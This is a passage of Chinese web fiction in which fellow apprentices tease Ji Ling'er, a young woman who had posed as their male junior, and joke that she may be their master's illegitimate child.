熟悉的语气和张口讨钱的做派惹得亭中笑语沸然，那师兄当真掏了两枚铜钱放她掌心。 季灵儿杏眼微睐，嗔道：“师兄打发小厮便不止这些，我竟连个小厮都不如？” 眼波流转显尽俏皮灵韵，便是找最叫座的角儿来扮，也未必仿的出这番自然风致，由不得众人不信。 师兄性子豪爽，又掏出一小锭银子拍入她手中，“有眼不识金镶玉，这银子权作赔罪，给小师弟，不，小师妹买胭脂。” “却之不恭。”季灵儿不与他推辞，笑呵呵收下银子。 说笑间又有几位师兄陆续围拢过来，诧异中带着打趣，你一言我一语地盘问起来，先前知情的师兄添油加醋，将她在曹县经营隆昌票号的事迹绘声绘色道来。 季灵儿作为当事人都听愣了，心说师兄们不去说书实在屈才。 谈她的事避不开提及汇通票号，林起率先反应过来，环顾四周，弟子们大约到齐，唯独不见梁宸，不免忧心：“他可还好？” 未点名道姓，众人亦明白所指。 秦劭放心不下梁宸，临行时以辅佐经营票号为由安置了得力之人到梁宸身边。 季灵儿隔三岔五能从他们口中收到关于梁宸的消息，遂道：“先生特许免了他这次考核，眼下在全心操持家业，想必今日不会来了，不过师兄们放心，他一切都好。” 众人这才放心。 眼见此事要揭过，忽有人疑道：“且慢，我记得先前小师弟说自己是师父义子，究竟是真是假？” 此言一出，旁边立即有人击掌：“你这么说我倒想起，咱们真正的师娘也姓季……小师弟，你莫不是——”话到此处戛然而止，只拿眼上下打量她。 季灵儿心中“咯噔”一紧，却听得那人脱口而出：“你莫不是师父的私生子，为避人耳目才随了母姓罢？” 季灵儿：......